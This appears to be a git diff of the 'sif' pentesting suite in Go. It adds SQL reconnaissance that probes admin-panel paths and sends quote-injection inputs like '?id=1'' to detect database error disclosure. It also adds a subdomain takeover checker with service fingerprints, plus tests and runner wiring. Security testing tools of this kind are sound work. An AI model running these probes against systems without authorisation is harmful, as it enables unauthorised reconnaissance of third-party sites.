t.Errorf("expected protocol 'tcp', got '%s'", service.Protocol)
}
if service.Product != "OpenSSL" {
t.Errorf("expected product 'OpenSSL', got '%s'", service.Product)
}
}
func TestShodan_NoAPIKey(t *testing.T) {
// ensure no API key is set
originalKey := ""
// Note: we can't easily test this without setting/unsetting env vars
// which could affect other tests. This is just a placeholder.
_ = originalKey
}
func TestShodanIntegration(t *testing.T) {
// This would be an integration test with the real Shodan API
// Skipping in unit tests
t.Skip("Integration test - requires valid SHODAN_API_KEY")
_, err := Shodan("https://example.com", 10*time.Second, "")
if err != nil {
t.Logf("Shodan lookup failed (expected without API key): %v", err)
}
}
+323
View File
@@ -0,0 +1,323 @@
/*
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
: :
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
: ▄█ █ █▀ · BSD 3-Clause License :
: :
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
: lunchcat alumni & contributors :
: :
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
*/
package scan
import (
"fmt"
"io"
"net/http"
"os"
"regexp"
"strings"
"sync"
"time"
"github.com/charmbracelet/log"
"github.com/dropalldatabases/sif/internal/styles"
"github.com/dropalldatabases/sif/pkg/logger"
)
// SQLResult represents the results of SQL reconnaissance
type SQLResult struct {
AdminPanels []SQLAdminPanel `json:"admin_panels,omitempty"`
DatabaseErrors []SQLDatabaseError `json:"database_errors,omitempty"`
ExposedPorts []int `json:"exposed_ports,omitempty"`
}
// SQLAdminPanel represents a found database admin panel
type SQLAdminPanel struct {
URL string `json:"url"`
Type string `json:"type"`
Status int `json:"status"`
}
// SQLDatabaseError represents a detected database error
type SQLDatabaseError struct {
URL string `json:"url"`
DatabaseType string `json:"database_type"`
ErrorPattern string `json:"error_pattern"`
}
// common database admin panel paths
var sqlAdminPaths = []struct {
path string
panelType string
}{
{"/phpmyadmin/", "phpMyAdmin"},
{"/phpMyAdmin/", "phpMyAdmin"},
{"/pma/", "phpMyAdmin"},
{"/PMA/", "phpMyAdmin"},
{"/mysql/", "phpMyAdmin"},
{"/myadmin/", "phpMyAdmin"},
{"/MyAdmin/", "phpMyAdmin"},
{"/adminer/", "Adminer"},
{"/adminer.php", "Adminer"},
{"/pgadmin/", "pgAdmin"},
{"/phppgadmin/", "phpPgAdmin"},
{"/sql/", "SQL Interface"},
{"/db/", "Database Interface"},
{"/database/", "Database Interface"},
{"/dbadmin/", "Database Admin"},
{"/mysql-admin/", "MySQL Admin"},
{"/mysqladmin/", "MySQL Admin"},
{"/sqlmanager/", "SQL Manager"},
{"/websql/", "WebSQL"},
{"/sqlweb/", "SQLWeb"},
{"/rockmongo/", "RockMongo"},
{"/mongodb/", "MongoDB Interface"},
{"/mongo/", "MongoDB Interface"},
{"/redis/", "Redis Interface"},
{"/redis-commander/", "Redis Commander"},
{"/phpredisadmin/", "phpRedisAdmin"},
}
// database error patterns to detect database type
var databaseErrorPatterns = []struct {
pattern *regexp.Regexp
databaseType string
}{
{regexp.MustCompile(`(?i)mysql.*error`), "MySQL"},
{regexp.MustCompile(`(?i)mysql.*syntax`), "MySQL"},
{regexp.MustCompile(`(?i)you have an error in your sql syntax`), "MySQL"},
{regexp.MustCompile(`(?i)warning.*mysql`), "MySQL"},
{regexp.MustCompile(`(?i)mysql_fetch`), "MySQL"},
{regexp.MustCompile(`(?i)mysql_num_rows`), "MySQL"},
{regexp.MustCompile(`(?i)mysqli`), "MySQL"},
{regexp.MustCompile(`(?i)postgresql.*error`), "PostgreSQL"},
{regexp.MustCompile(`(?i)pg_query`), "PostgreSQL"},
{regexp.MustCompile(`(?i)pg_exec`), "PostgreSQL"},
{regexp.MustCompile(`(?i)psql.*error`), "PostgreSQL"},
{regexp.MustCompile(`(?i)unterminated quoted string`), "PostgreSQL"},
{regexp.MustCompile(`(?i)microsoft.*odbc.*sql server`), "Microsoft SQL Server"},
{regexp.MustCompile(`(?i)mssql.*error`), "Microsoft SQL Server"},
{regexp.MustCompile(`(?i)sql server.*error`), "Microsoft SQL Server"},
{regexp.MustCompile(`(?i)unclosed quotation mark`), "Microsoft SQL Server"},
{regexp.MustCompile(`(?i)sqlsrv`), "Microsoft SQL Server"},
{regexp.MustCompile(`(?i)ora-\d{5}`), "Oracle"},
{regexp.MustCompile(`(?i)oracle.*error`), "Oracle"},
{regexp.MustCompile(`(?i)oci_`), "Oracle"},
{regexp.MustCompile(`(?i)sqlite.*error`), "SQLite"},
{regexp.MustCompile(`(?i)sqlite3`), "SQLite"},
{regexp.MustCompile(`(?i)sqlite_`), "SQLite"},
{regexp.MustCompile(`(?i)mongodb.*error`), "MongoDB"},
{regexp.MustCompile(`(?i)document.*bson`), "MongoDB"},
}
// SQL performs SQL reconnaissance on the target URL
func SQL(targetURL string, timeout time.Duration, threads int, logdir string) (*SQLResult, error) {
fmt.Println(styles.Separator.Render("🗃️ Starting " + styles.Status.Render("SQL reconnaissance") + "..."))
sanitizedURL := strings.Split(targetURL, "://")[1]
if logdir != "" {
if err := logger.WriteHeader(sanitizedURL, logdir, "SQL reconnaissance"); err != nil {
log.Errorf("Error creating log file: %v", err)
return nil, err
}
}
sqllog := log.NewWithOptions(os.Stderr, log.Options{
Prefix: "SQL 🗃️",
}).With("url", targetURL)
sqllog.Infof("Starting SQL reconnaissance...")
result := &SQLResult{
AdminPanels: []SQLAdminPanel{},
DatabaseErrors: []SQLDatabaseError{},
}
var mu sync.Mutex
var wg sync.WaitGroup
client := &http.Client{
Timeout: timeout,
CheckRedirect: func(req *http.Request, via []*http.Request) error {
if len(via) >= 3 {
return http.ErrUseLastResponse
}
return nil
},
}
// check for admin panels
wg.Add(threads)
adminPathsChan := make(chan int, len(sqlAdminPaths))
for i := range sqlAdminPaths {
adminPathsChan <- i
}
close(adminPathsChan)
for t := 0; t < threads; t++ {
go func() {
defer wg.Done()
for idx := range adminPathsChan {
adminPath := sqlAdminPaths[idx]
checkURL := strings.TrimSuffix(targetURL, "/") + adminPath.path
resp, err := client.Get(checkURL)
if err != nil {
log.Debugf("Error checking %s: %v", checkURL, err)
continue
}
defer resp.Body.Close()
// check for successful response (not 404)
if resp.StatusCode == http.StatusOK || resp.StatusCode == http.StatusForbidden || resp.StatusCode == http.StatusUnauthorized {
// read body to check for common admin panel indicators
body, err := io.ReadAll(io.LimitReader(resp.Body, 1024*100)) // limit to 100KB
if err != nil {
continue
}
bodyStr := string(body)
// check if it's actually an admin panel (not just a generic page)
if isAdminPanel(bodyStr, adminPath.panelType) {
mu.Lock()
panel := SQLAdminPanel{
URL: checkURL,
Type: adminPath.panelType,
Status: resp.StatusCode,
}
result.AdminPanels = append(result.AdminPanels, panel)
mu.Unlock()
sqllog.Warnf("Found %s at [%s] (status: %d)",
styles.SeverityHigh.Render(adminPath.panelType),
styles.Highlight.Render(checkURL),
resp.StatusCode)
if logdir != "" {
logger.Write(sanitizedURL, logdir, fmt.Sprintf("Found %s at [%s] (status: %d)\n", adminPath.panelType, checkURL, resp.StatusCode))
}
}
}
}
}()
}
wg.Wait()
// check main URL for database errors
checkDatabaseErrors(client, targetURL, sanitizedURL, result, sqllog, logdir, &mu)
// check common endpoints that might expose database errors
errorCheckPaths := []string{
"/?id=1'",
"/?id=1\"",
"/?page=1'",
"/?q=test'",
"/search?q=test'",
"/login",
"/api/",
}
for _, path := range errorCheckPaths {
checkURL := strings.TrimSuffix(targetURL, "/") + path
checkDatabaseErrors(client, checkURL, sanitizedURL, result, sqllog, logdir, &mu)
}
// summary
if len(result.AdminPanels) > 0 {
sqllog.Warnf("Found %d database admin panel(s)", len(result.AdminPanels))
}
if len(result.DatabaseErrors) > 0 {
sqllog.Warnf("Found %d database error disclosure(s)", len(result.DatabaseErrors))
}
if len(result.AdminPanels) == 0 && len(result.DatabaseErrors) == 0 {
sqllog.Infof("No SQL exposures found")
return nil, nil
}
return result, nil
}
func isAdminPanel(body string, panelType string) bool {
bodyLower := strings.ToLower(body)
switch panelType {
case "phpMyAdmin":
return strings.Contains(bodyLower, "phpmyadmin") ||
strings.Contains(bodyLower, "pma_") ||
strings.Contains(body, "phpMyAdmin")
case "Adminer":
return strings.Contains(bodyLower, "adminer") ||
strings.Contains(body, "Adminer")
case "pgAdmin":
return strings.Contains(bodyLower, "pgadmin") ||
strings.Contains(body, "pgAdmin")
case "phpPgAdmin":
return strings.Contains(bodyLower, "phppgadmin")
case "RockMongo":
return strings.Contains(bodyLower, "rockmongo")
case "Redis Commander":
return strings.Contains(bodyLower, "redis commander") ||
strings.Contains(bodyLower, "redis-commander")
case "phpRedisAdmin":
return strings.Contains(bodyLower, "phpredisadmin")
default:
// for generic database interfaces, check for common keywords
return strings.Contains(bodyLower, "database") ||
strings.Contains(bodyLower, "sql") ||
strings.Contains(bodyLower, "query") ||
strings.Contains(bodyLower, "mysql") ||
strings.Contains(bodyLower, "postgresql") ||
strings.Contains(bodyLower, "mongodb")
}
}
func checkDatabaseErrors(client *http.Client, checkURL, sanitizedURL string, result *SQLResult, sqllog *log.Logger, logdir string, mu *sync.Mutex) {
resp, err := client.Get(checkURL)
if err != nil {
return
}
defer resp.Body.Close()
body, err := io.ReadAll(io.LimitReader(resp.Body, 1024*100))
if err != nil {
return
}
bodyStr := string(body)
for _, pattern := range databaseErrorPatterns {
if pattern.pattern.MatchString(bodyStr) {
mu.Lock()
// check if we already have this error for this URL
found := false
for _, existing := range result.DatabaseErrors {
if existing.URL == checkURL && existing.DatabaseType == pattern.databaseType {
found = true
break
}
}
if !found {
dbError := SQLDatabaseError{
URL: checkURL,
DatabaseType: pattern.databaseType,
ErrorPattern: pattern.pattern.String(),
}
result.DatabaseErrors = append(result.DatabaseErrors, dbError)
sqllog.Warnf("Database error disclosure: %s at [%s]",
styles.SeverityHigh.Render(pattern.databaseType),
styles.Highlight.Render(checkURL))
if logdir != "" {
logger.Write(sanitizedURL, logdir, fmt.Sprintf("Database error disclosure: %s at [%s]\n", pattern.databaseType, checkURL))
}
}
mu.Unlock()
break // only report one database type per URL
}
}
}
+280
View File
@@ -0,0 +1,280 @@
/*
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
: :
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
: ▄█ █ █▀ · BSD 3-Clause License :
: :
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
: lunchcat alumni & contributors :
: :
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
*/
package scan
import (
"net/http"
"net/http/httptest"
"testing"
)
func TestIsAdminPanel_phpMyAdmin(t *testing.T) {
tests := []struct {
name string
body string
expected bool
}{
{"contains phpMyAdmin", "<html><title>phpMyAdmin</title></html>", true},
{"contains pma_", "<script>var pma_token = '123';</script>", true},
{"empty body", "", false},
{"unrelated content", "<html><title>Hello World</title></html>", false},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
result := isAdminPanel(tt.body, "phpMyAdmin")
if result != tt.expected {
t.Errorf("isAdminPanel(%q, 'phpMyAdmin') = %v, want %v", tt.body, result, tt.expected)
}
})
}
}
func TestIsAdminPanel_Adminer(t *testing.T) {
tests := []struct {
name string
body string
expected bool
}{
{"contains Adminer", "<html><title>Adminer</title></html>", true},
{"lowercase adminer", "<div>adminer version 4.8</div>", true},
{"empty body", "", false},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
result := isAdminPanel(tt.body, "Adminer")
if result != tt.expected {
t.Errorf("isAdminPanel(%q, 'Adminer') = %v, want %v", tt.body, result, tt.expected)
}
})
}
}
func TestIsAdminPanel_GenericDatabase(t *testing.T) {
tests := []struct {
name string
body string
expected bool
}{
{"contains database", "<html><title>Database Manager</title></html>", true},
{"contains sql", "<div>SQL Query Interface</div>", true},
{"contains mysql", "<script>mysql_query()</script>", true},
{"contains postgresql", "<div>PostgreSQL Admin</div>", true},
{"empty body", "", false},
{"unrelated content", "<html><title>Blog</title></html>", false},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
result := isAdminPanel(tt.body, "Database Interface")
if result != tt.expected {
t.Errorf("isAdminPanel(%q, 'Database Interface') = %v, want %v", tt.body, result, tt.expected)
}
})
}
}
func TestSQLResult_Fields(t *testing.T) {
result := SQLResult{
AdminPanels: []SQLAdminPanel{
{
URL: "http://example.com/phpmyadmin/",
Type: "phpMyAdmin",
Status: 200,
},
},
DatabaseErrors: []SQLDatabaseError{
{
URL: "http://example.com/?id=1'",
DatabaseType: "MySQL",
ErrorPattern: "mysql.*error",
},
},
}
if len(result.AdminPanels) != 1 {
t.Errorf("expected 1 admin panel, got %d", len(result.AdminPanels))
}
if result.AdminPanels[0].Type != "phpMyAdmin" {
t.Errorf("expected type 'phpMyAdmin', got '%s'", result.AdminPanels[0].Type)
}
if len(result.DatabaseErrors) != 1 {
t.Errorf("expected 1 database error, got %d", len(result.DatabaseErrors))
}
if result.DatabaseErrors[0].DatabaseType != "MySQL" {
t.Errorf("expected database type 'MySQL', got '%s'", result.DatabaseErrors[0].DatabaseType)
}
}
func TestDatabaseErrorPatterns_MySQL(t *testing.T) {
testCases := []struct {
name string
body string
expected bool
}{
{"mysql error", "MySQL Error: Something went wrong", true},
{"mysql syntax", "You have an error in your SQL syntax", true},
{"mysql fetch", "Warning: mysql_fetch_array()", true},
{"no error", "Welcome to our website", false},
}
for _, tc := range testCases {
t.Run(tc.name, func(t *testing.T) {
found := false
for _, pattern := range databaseErrorPatterns {
if pattern.pattern.MatchString(tc.body) {
found = true
break
}
}
if found != tc.expected {
t.Errorf("pattern match for %q = %v, want %v", tc.body, found, tc.expected)
}
})
}
}
func TestDatabaseErrorPatterns_PostgreSQL(t *testing.T) {
testCases := []struct {
name string
body string
expected bool
}{
{"postgresql error", "PostgreSQL Error: connection failed", true},
{"pg_query", "Warning: pg_query(): Query failed", true},
{"unterminated string", "ERROR: unterminated quoted string", true},
{"no error", "Welcome to our website", false},
}
for _, tc := range testCases {
t.Run(tc.name, func(t *testing.T) {
found := false
for _, pattern := range databaseErrorPatterns {
if pattern.pattern.MatchString(tc.body) {
found = true
break
}
}
if found != tc.expected {
t.Errorf("pattern match for %q = %v, want %v", tc.body, found, tc.expected)
}
})
}
}
func TestDatabaseErrorPatterns_SQLServer(t *testing.T) {
testCases := []struct {
name string
body string
expected bool
}{
{"mssql error", "MSSQL Error: invalid query", true},
{"sql server error", "Microsoft SQL Server Error", true},
{"unclosed quote", "Unclosed quotation mark after the character string", true},
{"no error", "Welcome to our website", false},
}
for _, tc := range testCases {
t.Run(tc.name, func(t *testing.T) {
found := false
for _, pattern := range databaseErrorPatterns {
if pattern.pattern.MatchString(tc.body) {
found = true
break
}
}
if found != tc.expected {
t.Errorf("pattern match for %q = %v, want %v", tc.body, found, tc.expected)
}
})
}
}
func TestDatabaseErrorPatterns_Oracle(t *testing.T) {
testCases := []struct {
name string
body string
expected bool
}{
{"ora error code", "ORA-00942: table or view does not exist", true},
{"oracle error", "Oracle Error: invalid identifier", true},
{"no error", "Welcome to our website", false},
}
for _, tc := range testCases {
t.Run(tc.name, func(t *testing.T) {
found := false
for _, pattern := range databaseErrorPatterns {
if pattern.pattern.MatchString(tc.body) {
found = true
break
}
}
if found != tc.expected {
t.Errorf("pattern match for %q = %v, want %v", tc.body, found, tc.expected)
}
})
}
}
func TestSQLAdminPanelDetection(t *testing.T) {
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
switch r.URL.Path {
case "/phpmyadmin/":
w.WriteHeader(http.StatusOK)
w.Write([]byte("<html><title>phpMyAdmin</title></html>"))
case "/adminer/":
w.WriteHeader(http.StatusOK)
w.Write([]byte("<html><title>Adminer</title></html>"))
default:
w.WriteHeader(http.StatusNotFound)
}
}))
defer server.Close()
// this is a basic test to verify the server mock works
resp, err := http.Get(server.URL + "/phpmyadmin/")
if err != nil {
t.Fatalf("failed to get phpmyadmin: %v", err)
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
t.Errorf("expected status 200 for /phpmyadmin/, got %d", resp.StatusCode)
}
}
func TestSQLDatabaseErrorDetection(t *testing.T) {
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
if r.URL.Query().Get("id") == "1'" {
w.WriteHeader(http.StatusOK)
w.Write([]byte("MySQL Error: You have an error in your SQL syntax"))
} else {
w.WriteHeader(http.StatusOK)
w.Write([]byte("Welcome to our website"))
}
}))
defer server.Close()
// verify server returns mysql error for injection attempt
resp, err := http.Get(server.URL + "/?id=1'")
if err != nil {
t.Fatalf("failed to make request: %v", err)
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
t.Errorf("expected status 200, got %d", resp.StatusCode)
}
}
+183
View File
@@ -0,0 +1,183 @@
/*
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
: :
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
: ▄█ █ █▀ · BSD 3-Clause License :
: :
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
: lunchcat alumni & contributors :
: :
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
*/
package scan
import (
"fmt"
"github.com/charmbracelet/log"
"github.com/dropalldatabases/sif/internal/styles"
"github.com/dropalldatabases/sif/pkg/logger"
"io"
"net"
"net/http"
"os"
"strings"
"sync"
"time"
)
// SubdomainTakeoverResult represents the outcome of a subdomain takeover vulnerability check.
// It includes the subdomain tested, whether it's vulnerable, and the potentially vulnerable service.
type SubdomainTakeoverResult struct {
Subdomain string `json:"subdomain"`
Vulnerable bool `json:"vulnerable"`
Service string `json:"service,omitempty"`
}
// SubdomainTakeover checks for potential subdomain takeover vulnerabilities.
//
// Parameters:
// - url: the target URL to scan
// - dnsResults: a slice of subdomains to check (typically from Dnslist function)
// - timeout: maximum duration for each subdomain check
// - threads: number of concurrent threads to use
// - logdir: directory to store log files (empty string for no logging)
//
// Returns:
// - []SubdomainTakeoverResult: a slice of results for each checked subdomain
// - error: any error encountered during the scan
func SubdomainTakeover(url string, dnsResults []string, timeout time.Duration, threads int, logdir string) ([]SubdomainTakeoverResult, error) {
fmt.Println(styles.Separator.Render("🔍 Starting " + styles.Status.Render("Subdomain Takeover Vulnerability Check") + "..."))
sanitizedURL := strings.Split(url, "://")[1]
if logdir != "" {
if err := logger.WriteHeader(sanitizedURL, logdir, "Subdomain Takeover Vulnerability Check"); err != nil {
log.Errorf("Error creating log file: %v", err)
return nil, err
}
}
subdomainlog := log.NewWithOptions(os.Stderr, log.Options{
Prefix: "Subdomain Takeover 🔍",
})
client := &http.Client{
Timeout: timeout,
}
var wg sync.WaitGroup
wg.Add(threads)
resultsChan := make(chan SubdomainTakeoverResult, len(dnsResults))
for thread := 0; thread < threads; thread++ {
go func(thread int) {
defer wg.Done()
for i, subdomain := range dnsResults {
if i%threads != thread {
continue
}
vulnerable, service := checkSubdomainTakeover(subdomain, client)
result := SubdomainTakeoverResult{
Subdomain: subdomain,
Vulnerable: vulnerable,
Service: service,
}
resultsChan <- result
if vulnerable {
subdomainlog.Warnf("Potential subdomain takeover: %s (%s)", styles.Highlight.Render(subdomain), service)
if logdir != "" {
logger.Write(sanitizedURL, logdir, fmt.Sprintf("Potential subdomain takeover: %s (%s)\n", subdomain, service))
}
} else {
subdomainlog.Infof("Subdomain not vulnerable: %s", subdomain)
}
}
}(thread)
}
go func() {
wg.Wait()
close(resultsChan)
}()
var results []SubdomainTakeoverResult
for result := range resultsChan {
results = append(results, result)
}
return results, nil
}
func checkSubdomainTakeover(subdomain string, client *http.Client) (bool, string) {
resp, err := client.Get("http://" + subdomain)
if err != nil {
if strings.Contains(err.Error(), "no such host") {
// Check if CNAME exists
cname, err := net.LookupCNAME(subdomain)
if err == nil && cname != "" {
return true, "Dangling CNAME"
}
}
return false, ""
}
defer resp.Body.Close()
body, err := io.ReadAll(resp.Body)
if err != nil {
return false, ""
}
bodyString := string(body)
// Check for common takeover signatures in the response
signatures := map[string]string{
"GitHub Pages": "There isn't a GitHub Pages site here.",
"Heroku": "No such app",
"Shopify": "Sorry, this shop is currently unavailable.",
"Tumblr": "There's nothing here.",
"WordPress": "Do you want to register *.wordpress.com?",
"Amazon S3": "The specified bucket does not exist",
"Bitbucket": "Repository not found",
"Ghost": "The thing you were looking for is no longer here, or never was",
"Pantheon": "The gods are wise, but do not know of the site which you seek.",
"Fastly": "Fastly error: unknown domain",
"Zendesk": "Help Center Closed",
"Teamwork": "Oops - We didn't find your site.",
"Helpjuice": "We could not find what you're looking for.",
"Helpscout": "No settings were found for this company:",
"Cargo": "If you're moving your domain away from Cargo you must make this configuration through your registrar's DNS control panel.",
"Uservoice": "This UserVoice subdomain is currently available!",
"Surge": "project not found",
"Intercom": "This page is reserved for artistic dogs.",
"Webflow": "The page you are looking for doesn't exist or has been moved.",
"Kajabi": "The page you were looking for doesn't exist.",
"Thinkific": "You may have mistyped the address or the page may have moved.",
"Tave": "Sorry, this page is no longer available.",
"Wishpond": "https://www.wishpond.com/404?campaign=true",
"Aftership": "Oops.</h2><p class=\"text-muted text-tight\">The page you're looking for doesn't exist.",
"Aha": "There is no portal here ... sending you back to Aha!",
"Brightcove": "<p class=\"bc-gallery-error-code\">Error Code: 404</p>",
"Bigcartel": "<h1>Oops! We couldn&#8217;t find that page.</h1>",
"Activecompaign": "alt=\"LIGHTTPD - fly light.\"",
"Compaignmonitor": "Double check the URL or <a href=\"mailto:help@createsend.com",
"Acquia": "The site you are looking for could not be found.",
"Proposify": "If you need immediate assistance, please contact <a href=\"mailto:support@proposify.biz",
"Simplebooklet": "We can't find this <a href=\"https://simplebooklet.com",
"Getresponse": "With GetResponse Landing Pages, lead generation has never been easier",
"Vend": "Looks like you've traveled too far into cyberspace.",
"Jetbrains": "is not a registered InCloud YouTrack.",
"Azure": "404 Web Site not found.",
}
for service, signature := range signatures {
if strings.Contains(bodyString, signature) {
return true, service
}
}
return false, ""
}
+13 -1
View File
@@ -1,3 +1,15 @@
/*
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
: :
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
: ▄█ █ █▀ · BSD 3-Clause License :
: :
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
: lunchcat alumni & contributors :
: :
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
*/
package scan
import (
@@ -16,7 +28,7 @@ func Whois(url string, logdir string) {
sanitizedURL := strings.Split(url, "://")[1]
if logdir != "" {
if err := logger.WriteHeader(sanitizedURL, logdir, " port scanning"); err != nil {
if err := logger.WriteHeader(sanitizedURL, logdir, " WHOIS scanning"); err != nil {
log.Errorf("Error creating log file: %v", err)
return
}
+12
View File
@@ -1,3 +1,15 @@
/*
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
: :
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
: ▄█ █ █▀ · BSD 3-Clause License :
: :
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
: lunchcat alumni & contributors :
: :
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
*/
package utils
import (
+133 -7
View File
@@ -1,3 +1,18 @@
/*
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
: :
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
: ▄█ █ █▀ · BSD 3-Clause License :
: :
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
: lunchcat alumni & contributors :
: :
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
*/
// Package sif provides the main functionality for the SIF (Security Information Finder) tool.
// It handles the initialization, configuration, and execution of various security scanning modules.
package sif
import (
@@ -13,11 +28,12 @@ import (
"github.com/dropalldatabases/sif/pkg/config"
"github.com/dropalldatabases/sif/pkg/logger"
"github.com/dropalldatabases/sif/pkg/scan"
"github.com/dropalldatabases/sif/pkg/scan/frameworks"
jsscan "github.com/dropalldatabases/sif/pkg/scan/js"
)
// App is a client instance. It is first initialised using New and then ran
// using Run, which starts the whole app process.
// App represents the main application structure for sif.
// It encapsulates the configuration settings, target URLs, and logging information.
type App struct {
settings *config.Settings
targets []string
@@ -42,8 +58,8 @@ func New(settings *config.Settings) (*App, error) {
app := &App{settings: settings}
if !settings.ApiMode {
fmt.Println(styles.Box.Render(" _____________\n__________(_)__ __/\n__ ___/_ /__ /_ \n_(__ )_ / _ __/ \n/____/ /_/ /_/ \n"))
fmt.Println(styles.Subheading.Render("\nhttps://sif.sh\nman's best friend\n\ncopyright (c) 2023-2024 lunchcat and contributors.\n\n"))
fmt.Println(styles.Box.Render(" █▀ █ █▀▀\n ▄█ █ █▀ "))
fmt.Println(styles.Subheading.Render("\nblazing-fast pentesting suite\nman's best friend\n\nbsd 3-clause · (c) 2022-2025 vmfunc, xyzeva & contributors\n"))
}
if len(settings.URLs) > 0 {
@@ -65,7 +81,7 @@ func New(settings *config.Settings) (*App, error) {
app.targets = append(app.targets, scanner.Text())
}
} else {
return app, errors.New("target(s) must be supplied with -u or -f")
return app, errors.New("target(s) must be supplied with -u or -f\n\nSee 'sif -h' for more information")
}
return app, nil
@@ -88,6 +104,8 @@ func (app *App) Run() error {
}
}
scansRun := []string{}
for _, url := range app.targets {
if !strings.Contains(url, "://") {
return errors.New(fmt.Sprintf("URL %s must include leading protocol", url))
@@ -105,6 +123,17 @@ func (app *App) Run() error {
if !app.settings.NoScan {
scan.Scan(url, app.settings.Timeout, app.settings.Threads, app.settings.LogDir)
scansRun = append(scansRun, "Basic Scan")
}
if app.settings.Framework {
result, err := frameworks.DetectFramework(url, app.settings.Timeout, app.settings.LogDir)
if err != nil {
log.Errorf("Error while running framework detection: %s", err)
} else if result != nil {
moduleResults = append(moduleResults, ModuleResult{"framework", result})
scansRun = append(scansRun, "Framework Detection")
}
}
if app.settings.Dirlist != "none" {
@@ -113,15 +142,43 @@ func (app *App) Run() error {
log.Errorf("Error while running directory scan: %s", err)
} else {
moduleResults = append(moduleResults, ModuleResult{"dirlist", result})
scansRun = append(scansRun, "Directory Listing")
}
}
var dnsResults []string
if app.settings.Dnslist != "none" {
result, err := scan.Dnslist(app.settings.Dnslist, url, app.settings.Timeout, app.settings.Threads, app.settings.LogDir)
if err != nil {
log.Errorf("Error while running dns scan: %s", err)
} else {
moduleResults = append(moduleResults, ModuleResult{"dnslist", result})
dnsResults = result // Store the DNS results
scansRun = append(scansRun, "DNS Scan")
}
// Only run subdomain takeover check if DNS scan is enabled
if app.settings.SubdomainTakeover {
result, err := scan.SubdomainTakeover(url, dnsResults, app.settings.Timeout, app.settings.Threads, app.settings.LogDir)
if err != nil {
log.Errorf("Error while running Subdomain Takeover Vulnerability Check: %s", err)
} else {
moduleResults = append(moduleResults, ModuleResult{"subdomain_takeover", result})
scansRun = append(scansRun, "Subdomain Takeover")
}
}
} else if app.settings.SubdomainTakeover {
log.Warnf("Subdomain Takeover check is enabled but DNS scan is disabled. Skipping Subdomain Takeover check.")
}
if app.settings.Dorking {
result, err := scan.Dork(url, app.settings.Timeout, app.settings.Threads, app.settings.LogDir)
if err != nil {
log.Errorf("Error while running Dork module: %s", err)
} else {
moduleResults = append(moduleResults, ModuleResult{"dork", result})
scansRun = append(scansRun, "Dork")
}
}
@@ -131,11 +188,13 @@ func (app *App) Run() error {
log.Errorf("Error while running port scan: %s", err)
} else {
moduleResults = append(moduleResults, ModuleResult{"portscan", result})
scansRun = append(scansRun, "Port Scan")
}
}
if app.settings.Whois {
scan.Whois(url, app.settings.LogDir)
scansRun = append(scansRun, "Whois")
}
// func Git(url string, timeout time.Duration, threads int, logdir string)
@@ -145,6 +204,7 @@ func (app *App) Run() error {
log.Errorf("Error while running Git module: %s", err)
} else {
moduleResults = append(moduleResults, ModuleResult{"git", result})
scansRun = append(scansRun, "Git")
}
}
@@ -154,6 +214,7 @@ func (app *App) Run() error {
log.Errorf("Error while running Nuclei module: %s", err)
} else {
moduleResults = append(moduleResults, ModuleResult{"nuclei", result})
scansRun = append(scansRun, "Nuclei")
}
}
@@ -163,6 +224,67 @@ func (app *App) Run() error {
log.Errorf("Error while running JS module: %s", err)
} else {
moduleResults = append(moduleResults, ModuleResult{"js", result})
scansRun = append(scansRun, "JS")
}
}
if app.settings.CMS {
result, err := scan.CMS(url, app.settings.Timeout, app.settings.LogDir)
if err != nil {
log.Errorf("Error while running CMS detection: %s", err)
scansRun = append(scansRun, "CMS")
} else if result != nil {
moduleResults = append(moduleResults, ModuleResult{"cms", result})
}
}
if app.settings.Headers {
result, err := scan.Headers(url, app.settings.Timeout, app.settings.LogDir)
if err != nil {
log.Errorf("Error while running HTTP Header Analysis: %s", err)
